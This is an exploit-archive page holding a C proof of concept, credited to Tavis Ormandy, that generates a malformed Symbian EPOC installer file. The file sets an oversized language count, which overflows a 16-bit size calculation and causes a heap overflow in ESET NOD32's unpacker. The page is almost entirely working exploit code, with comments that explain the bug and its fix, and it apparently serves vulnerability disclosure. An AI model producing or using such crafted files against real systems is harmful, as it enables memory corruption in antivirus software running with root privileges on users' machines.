ESET NOD32 Heap Overflow



EKU-ID: 5433 CVE: OSVDB-ID:
Author: Tavis Ormandy Published: 2016-03-04 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#include <stdio.h>
#include <stdint.h>
#include <stddef.h>

//
// ESET NOD32 Heap overflow unpacking EPOC installation files.
//
// By creating a file record with type SIS_FILE_MULTILANG (meaning a different
// file is provided for every supported language), and then claiming to support
// a very large number of languages, a 16-bit calculation overflows. This leads
// to a nice clean heap overflow.
//
// The maximum possible value for the number of languages is 99, because only
// 99 language codes are defined. Even if you included a different file for
// every language it wouldn't exceed 99.
//
// So the bug is, check for overflow if you want to support non-existant
// language codes, or cap it at 99.
//
// FWIW, I think ESET don't implement UID2=0x10003A12 correctly. That uid is
// supposed to extend the file record size...but then I think about why
// they're unpacking EPOC installer files onacess as root on a x86_64
// Windows 8.1 machine in 2015 and my f!@#%$ing brain starts hurting, so
// whatevs.
//
// Tavis Ormandy <taviso@google.com>, June 2015
//

#pragma pack(1)

#define SIS_OPT_NOCOMPRESS 0x08
#define SIS_FILE_MULTILANG 0x01

struct symbian {
    uint32_t uid1;
    uint32_t uid2;
    uint32_t uid3;
    struct {
        uint16_t crchi;
        uint16_t crclo;
    } uid4;
    uint16_t checksum;
    uint16_t numlangs;
    uint16_t numfiles;
    uint16_t numreqs;
    uint16_t language;
    uint16_t files;
    uint16_t drive;
    uint16_t numcaps;
    uint32_t installver;
    uint16_t options;
    uint16_t type;
    struct {
        uint16_t major;
        uint16_t minor;
    } version;
    uint32_t variant;
    uint32_t langptr;
    uint32_t fileptr;
    uint32_t reqptr;
    uint32_t certptr;
    uint32_t nameptr;
};

struct filerecord {
    uint32_t rectype;
    uint32_t type;
    uint32_t details;
    uint32_t srcnamelen;
    uint32_t srcnameptr;
    uint32_t dstnamelen;
    uint32_t dstnameptr;
};

static uint16_t crc16(void *data, size_t count, uint16_t init) {
    uint32_t polynomial = 0x1021;
    uint32_t table[256] = {0};
    uint32_t index;
    uint8_t *value = data;

    for (index = 0; index < 128; index++) {
        uint32_t carry = table[index] & 0x8000;
        uint32_t temp = (table[index] << 1) & 0xffff;
        table[index * 2 + (carry ? 0 : 1)] = temp ^ polynomial;
        table[index * 2 + (carry ? 1 : 0)] = temp;
    }

    for (index = 0; index < count; index++) {
        init = (init << 8) ^ table[((init >> 8) ^ value[index]) & 0xff];
    }

    return init;
}

int main(int argc, char **argv)
{
    struct symbian header = {0};
    struct filerecord file = {0};
    uint8_t *ptr;
    uint32_t i;

    ptr               = (void *) &header;
    header.uid1       = 0x10000000;     // Default UID
    header.uid2       = 0x1000006D;     // EPOC Release 3/4/5
    header.uid3       = 0x10000419;     // Magic
    header.numlangs   = 0x8000;
    header.options    = SIS_OPT_NOCOMPRESS;
    header.numfiles   = 1;
    header.fileptr    = sizeof header;

    // WTF were symbian smoking when they came up with this?
    for (i = 0; i < offsetof(struct symbian, uid4); i += 2) {
        header.uid4.crchi = crc16(ptr + i + 0, 1, header.uid4.crchi);
        header.uid4.crclo = crc16(ptr + i + 1, 1, header.uid4.crclo);
    }

    // So there are header.numlangs files described. Just the record is enough
    // to demonstrate the bug, so the data isn't generated.
    file.rectype = SIS_FILE_MULTILANG;

    fwrite(&header, sizeof header, 1, stdout);
    fwrite(&file, sizeof file, 1, stdout);

    // BUG! ESET assume the size will fit in a short, it overflows, and we get
    // a nice clean heap overflow.
    for (i = 0; i < header.numlangs; i++) {
        fwrite("AAAA", 4, 1, stdout);   // FileLen
    }

    for (i = 0; i < header.numlangs; i++) {
        fwrite("BBBB", 4, 1, stdout);   // FilePtr
    }

    return 0;
}